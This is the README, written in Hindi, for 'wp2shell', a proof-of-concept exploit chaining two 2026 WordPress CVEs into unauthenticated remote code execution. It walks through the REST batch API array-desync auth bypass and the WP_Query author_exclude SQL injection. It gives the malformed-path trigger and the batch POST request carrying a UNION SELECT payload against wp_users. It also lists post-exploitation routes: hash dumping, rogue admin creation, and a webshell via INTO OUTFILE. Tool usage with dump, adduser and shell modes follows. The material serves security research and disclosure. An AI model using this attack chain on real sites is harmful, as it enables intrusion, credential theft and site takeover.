प्री-ऑथ RCE प्रूफ-ऑफ-कॉन्सेप्ट जो WordPress REST बैच API ऑथ बायपास को WP_Query SQL इंजेक्शन के साथ चेन करता है ताकि हैश डंप किए जा सकें, एडमिन यूज़र जोड़े जा सकें, या वेबशेल प्लांट किया जा सके।
प्री-ऑथ RCE PoC - CVE-2026-63030 + CVE-2026-60137 WordPress 6.9.0–6.9.4 / 7.0.0–7.0.1
केवल अधिकृत पेनिट्रेशन टेस्टिंग और सुरक्षा अनुसंधान के लिए। लिखित अनुमति के बिना सिस्टम के विरुद्ध इसे चलाना अवैध है। लेखक दुरुपयोग के लिए कोई दायित्व स्वीकार नहीं करते।
wp2shell एक प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट है जो दो स्वतंत्र रूप से रिपोर्ट की गई कमजोरियों को श्रृंखलाबद्ध करके अनपैच्ड WordPress इंस्टॉलेशन पर अनऑथेंटिकेटेड रिमोट कोड एक्जीक्यूशन प्राप्त करता है।
| CVE | घटक | वर्ग | प्रमाणीकरण आवश्यक |
|---|---|---|---|
| CVE-2026-63030 | REST Batch API (WP_REST_Server) | Array desync → auth bypass | कोई नहीं |
| CVE-2026-60137 | WP_Query | author__not_in के माध्यम से SQL injection | कोई नहीं (उपरोक्त द्वारा बायपास) |
अंतिम परिणाम: बॉक्स पर एक शेल, एक रोगी प्रशासक खाता, या एक डंप किया गया क्रेडेंशियल हैश — सब कुछ एक ही अनऑथेंटिकेटेड POST अनुरोध से।
प्रभावित संस्करण: WordPress 6.9.0, 6.9.1, 6.9.2, 6.9.3, 6.9.4, 7.0.0, 7.0.1 में ठीक किया गया: WordPress 6.9.5 / 7.0.2 (समन्वित प्रकटीकरण के साथ पैच जारी)
WordPress 5.6 ने /wp-json/batch/v1 पर बैच प्रोसेसिंग एंडपॉइंट पेश किया। यह प्रमाणित REST क्लाइंट को कई सब-रिक्वेस्ट को एक HTTP राउंड-ट्रिप में बंडल करने की अनुमति देता है। प्रत्येक सब-रिक्वेस्ट को WP_REST_Server::serve_batch_request_v1() द्वारा स्वतंत्र रूप से मान्य और प्रेषित किया जाता है।
serve_batch_request_v1() के अंदर (सरलीकृत):
$requests = $data['requests'];
$responses = [];
$matches = [];
// === Loop 1: Validate ===
foreach ($requests as $i => $request) {
$parsed = wp_parse_url($request['path']);
if (is_wp_error($parsed) || $parsed === false) {
// Failure: append WP_Error to $responses — but NOT to $matches
$responses[] = $this->envelope_response(new WP_Error(...), false);
continue; // <─── skips the push to $matches
}
// Success: resolve auth/permissions for this path
$match = $this->match_route($parsed['path'], $request['method']);
$matches[] = $match; // <─── stored at array-sequential index
$responses[] = null; // <─── placeholder at same index
}
// === Loop 2: Dispatch ===
foreach ($matches as $j => $match) {
// $j starts at 0 — but if request[0] failed, $matches[0] is actually request[1]
$responses[$j] = $this->dispatch($match); // <─── dispatches with wrong context
}
दोनों सरणियों ($responses और $matches) को सिंक में रहने की अपेक्षा है — प्रति सब-रिक्वेस्ट एक प्रविष्टि, समान इंडेक्स। जब सब-रिक्वेस्ट [0] wp_parse_url() में विफल होता है, तो यह $responses में एक प्रविष्टि जोड़ता है लेकिन $matches में नहीं। पहले लूप के बाद:
$responses = [ WP_Error, null ] ← index 0 = error, index 1 = placeholder
$matches = [ match_for_req1 ] ← index 0 = match for request[1]
लूप 2 फिर $matches[0] को प्रेषित करता है और परिणाम को $responses[0] में लिखता है। यह request[1] को प्रेषित कर रहा है लेकिन responses में index 0 को अधिलेखित कर रहा है — और महत्वपूर्ण रूप से, यह उस अनुमति संदर्भ का उपयोग करता है जो विफल request[0] की त्रुटि हैंडलिंग के हिस्से के रूप में गणना किया गया था, न कि लक्ष्य एंडपॉइंट के लिए अनुमति संदर्भ।
व्यावहारिक प्रभाव: कोई भी एंडपॉइंट जिसे प्रमाणीकरण की आवश्यकता होती है (जिसमें SQL क्वेरी करने वाले एंडपॉइंट शामिल हैं) को बिना क्रेडेंशियल के कॉल किया जा सकता है।
"path": "://\x00" # triggers wp_parse_url() → false
स्ट्रिंग ://\x00 एक वैध Python स्ट्रिंग है लेकिन PHP के wp_parse_url() रैपर में एक अमान्य URL है (नल बाइट पार्स को विफल कर देता है, WP_Error के बजाय false लौटाता है, जो is_wp_error() गार्ड को बेकार बना देता है — केवल $parsed === false इसे पकड़ता है, और उस बिंदु तक सरणी संरेखण पहले से ही टूट चुका है)।
WP_Query author__not_in SQL Injectionपोस्ट के लिए WordPress REST API (/wp/v2/posts) एक author_exclude क्वेरी पैरामीटर प्रदर्शित करता है जो सीधे WP_Query के author__not_in तर्क से मैप होता है। WP_Query WordPress में लगभग हर सामग्री क्वेरी के लिए उपयोग किया जाने वाला मुख्य डेटाबेस एब्स्ट्रैक्शन है।
WP_Query::parse_query() में (सरलीकृत):
$author__not_in = $this->get('author__not_in');
if (is_array($author__not_in)) {
$author__not_in = array_map('absint', $author__not_in);
// absint() converts every element to a safe non-negative integer
}
// If NOT an array → this block is skipped entirely
// $author__not_in is used verbatim in the query builder:
बाद में WP_Query::get_posts() में:
if (!empty($author__not_in)) {
$where .= " AND {$wpdb->posts}.post_author NOT IN ({$author__not_in})";
// ^^^^^^^^^^^^^^^^
// raw string dropped into SQL with no escaping
}
सैनिटाइजेशन केवल तब सक्रिय होता है जब $author__not_in एक सरणी हो। PHP का टाइप सिस्टम यह निर्धारित करता है कि मान कैसे आया:
[1, 2, 3] प्राप्त होता है → is_array() = true → सैनिटाइज्ड"1,2,3" (एक स्ट्रिंग) प्राप्त होता है → is_array() = false → सैनिटाइज्ड नहींREST एंडपॉइंट URL क्वेरी स्ट्रिंग से author_exclude स्वीकार करता है। यह एक स्ट्रिंग के रूप में आता है। WP_Query सैनिटाइजेशन ब्लॉक को छोड़ देता है, और कच्चा मान SQL WHERE क्लॉज में इंटरपोलेट किया जाता है।
इंजेक्शन बिंदु NOT IN (...) संदर्भ के अंदर आता है:
-- Normal query:
WHERE post_author NOT IN (1)
-- With payload: 0 UNION SELECT ...
WHERE post_author NOT IN (0 UNION SELECT ...)
चूंकि बैच एंडपॉइंट सब-रिक्वेस्ट को एक बड़े क्वेरी परिणाम के हिस्से के रूप में प्रेषित करता है, UNION पंक्तियाँ REST JSON प्रतिक्रिया बॉडी में वापस आती हैं, जिससे यह एक Boolean/UNION blind-free निष्कर्षण बन जाता है — कोई टाइमिंग नहीं, कोई आउट-ऑफ-बैंड की आवश्यकता नहीं।
Attacker (no credentials)
│
▼
POST /wp-json/batch/v1
{
"requests": [
{ "path": "://\x00", "method": "GET" }, ← [1] malformed URL: triggers desync
{ "path": "/wp/v2/posts?author_exclude=
0 UNION SELECT ... FROM wp_users-- -", ← [2] SQLi payload
"method": "GET" }
]
}
│
▼
WP_REST_Server::serve_batch_request_v1()
├─ Request[0] fails wp_parse_url() → $responses[0] = WP_Error
│ NO push to $matches
├─ Request[1] matches route → $matches[0] = route
└─ Loop 2 dispatches $matches[0] with wrong auth context
│
▼
WP_Query receives author__not_in = "0 UNION SELECT ..."
├─ is_array() = false → sanitization skipped
└─ Raw SQL: WHERE post_author NOT IN (0 UNION SELECT ...)
│
▼
MySQL executes UNION query → wp_users data in SELECT result
│
▼
REST JSON response contains user_login + user_pass in post fields
│
▼
┌─────────────────────────────────────────────────────────────┐
│ Post-exploitation (any of): │
│ • Dump admin hash → crack offline with hashcat │
│ • INSERT rogue admin via stacked queries │
│ • SELECT ... INTO OUTFILE → PHP webshell → OS access │
└─────────────────────────────────────────────────────────────┘
Python >= 3.8
requests
cloudscraper
निर्भरताएँ स्थापित करें:
pip install requests cloudscraper
usage: wp2shell.py [-h] [--mode {detect,dump,adduser,shell}]
[--cmd CMD] [--user USER] [--password PASSWORD]
[--prefix PREFIX] [--proxy PROXY]
[--no-interactive] [--debug] [--cookie COOKIE]
target